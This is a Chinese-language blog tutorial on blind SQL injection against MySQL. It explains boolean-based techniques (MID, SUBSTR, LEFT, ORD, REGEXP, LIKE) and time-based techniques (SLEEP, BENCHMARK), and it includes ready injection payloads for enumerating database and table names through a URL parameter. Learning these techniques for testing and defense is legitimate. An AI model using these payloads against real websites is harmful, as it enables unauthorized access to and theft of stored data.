首页 > 数据库 >sql注入(三)盲注

sql注入(三)盲注

时间:2023-04-28 09:56:06浏览次数:32  
标签:字符 string name sql table 盲注 注入

何为盲注
  盲注就是在sql注入过程中,执行语句后,选择的数据不能回显到前端页面,此时我们需要利用一些方法进行判断或尝试,这个过程称之为盲注。盲注可以分布尔盲注和时间盲注。

 

布尔盲注——构造逻辑判断

  三大法宝mid(),left(),substr()

  mid()函数

  此函数为截取字符串一部分。MID(column_name,start[,length])

 

Sql用例:

(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

  

  substr()函数

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

 

  Left()函数

Left()得到字符串左部指定个数的字符

Left ( string, n )        string为要截取的字符串,n为长度。

Sql用例:

(1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。

(2) 同样的string可以为自行构造的sql语句。

 

同时也要介绍ORD()函数,此函数为返回第一个字符的ASCII码,经常与上面的函数进行组合使用。

例如ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’

 

  REGEXP正则注入

1. 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。

注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

2. 判断第一个字符是否是a-n中的字符

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

3. 确定该字符为n

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

4. 表达式的更换如下

expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = ’news‘ 不就行了

  

  LIKE匹配注入  

例如:select user() like ‘ro%’

和上述的正则类似,MYSQL可以用LIKE进行匹配 

 

  时间盲注——延时注入

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23   

//if 判断语句,条件为假, 执行 sleep

 

UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;

  //BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达 式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执 行成功。在运行过程中占用大量的 cpu 资源。推荐使用 sleep()。

 

此处配一张白帽子讲安全图片

 

 

 

 

 

  

标签:字符,string,name,sql,table,盲注,注入
From: https://www.cnblogs.com/beikenxiong/p/17359851.html

相关文章

  • Sql Server 数据库事务与锁,同一事务更新又查询锁?期望大家来解惑
    我有一个People表,有三行数据:如果我们没详细了解数据库事务执行加锁的过程中,会不会有这样一个疑问:如下的这段SQL开启了事务,并且在事务中进行了更新和查询操作。BEGINTRAN updatePeoplesetName='张三'whereid=1; select*fromPeoplewhereid=1;committran我......
  • SQLSERVER 动态生成列、合计行
    /*test110'2023-04-26','2023-04-26','全部','901100569,901100570,901100571,901100572,901100573';*/ALTERPROCEDURE[dbo].[test110]@StartDatedatetime,@EndDatedatetime,@unameVARCHAR(50)='......
  • 当 SQL Server(mssql-jdbc) 遇上 BigDecimal → 精度丢失,真坑!
    开心一刻中午和哥们一起喝茶哥们说道:晚上喝酒去啊我:不去,我女朋友过生日哥们瞪大眼睛看着我:你有病吧,充气的过什么生日我生气到:有特么生产日期的好吧需求背景系统对接了外部系统,调用外部系统的接口需要付费,一个接口一次调用付费0.03元同一个......
  • MySQL转移字符
    MySQL语言中的转义字符和各种编程语言基本相同,见下表形式含义\00(NUL)字符\n换行\r回车符\t制表符\b退格\'单引号\"双引号\\反斜线\%%符(用于区分模式匹配中的%)\__符(用于区分模式匹配中的_)举其中一个用的比较多的'\n'为例,执行以下......
  • SQLServer2005 AMD8450,3核CPU装不上sql 2005的解决办法
    中午12点开始,安装SQLServer2005,一直到晚上9点半,把网上的各个文章翻了个遍,依然没有安装上我的SQLServer2005,安装不上的症状跟网上其它人遇到的一样,可是为什么别人的就解决了,我的就不行呢```带着郁闷的心情睡觉了```夜里3点几分,起夜,想到数据库还......
  • Sql Server 2005 在建立与服务器的连接时出错。provider,error: 40
    在建立与服务器的连接时出错。在连接到SQLServer2005时,在默认的设置下SQLServer不允许进行远程连接可能会导致此失败。(provider:命名管道提供程序,error:40-无法打开到SQLServer的连接)(.NetSqlClientDataProvider) 网上找的解决办法对我的不适用下面上网......
  • upupw mysql数据库密码初始化
    1、启动upupw2、打开cmd窗口,进入到数据库目录/UPUPW/MariaDB/bin。3、执行命令:mysql -uroot-p;4、用系统提供的密码登录,默认的是:DRsXT5ZJ6Oi55LPQ5、进入mysql管理界面后,执行命令:updateusersetauthentication_string=password("root")whereuser='root'; 提示:Query......
  • mybatis定义sql语句标签之select 标签
    属性介绍:id:唯一的标识符.和Mapper接口定义方法名同名。parameterType:传给此语句的参数的全路径名或别名例:com.test.poso.User或user,目前很少用到。resultType:语句返回值类型或别名。注意,如果是集合,那么这里填写的是集合的泛型,而不是集合本身(resultType与resultMap不......
  • 找出SQLServer数据库I/O高的原因
    找出SQLServer数据库I/O高的原因影响SQLServer性能的因素有很多,比如CPU、I/O、内存、错误的执行计划、不恰当的索引或缺少索引等。当查询变慢时,我发现最常见的一件事是由于查询执行的I/O太大。当一个查询因为I/O而变慢时,可能是因为糟糕的硬件、糟糕的执行计划,但通常是糟糕的数据......
  • 注入依赖对象
    知识点:【基本类型对象注入:<beanid="orderService"class="cn.itcast.service.OrderServiceBean"><constructor-argindex=“0”type=“java.lang.String”value=“xxx”/>//构造器注入<propertyname=“name”value=“zh......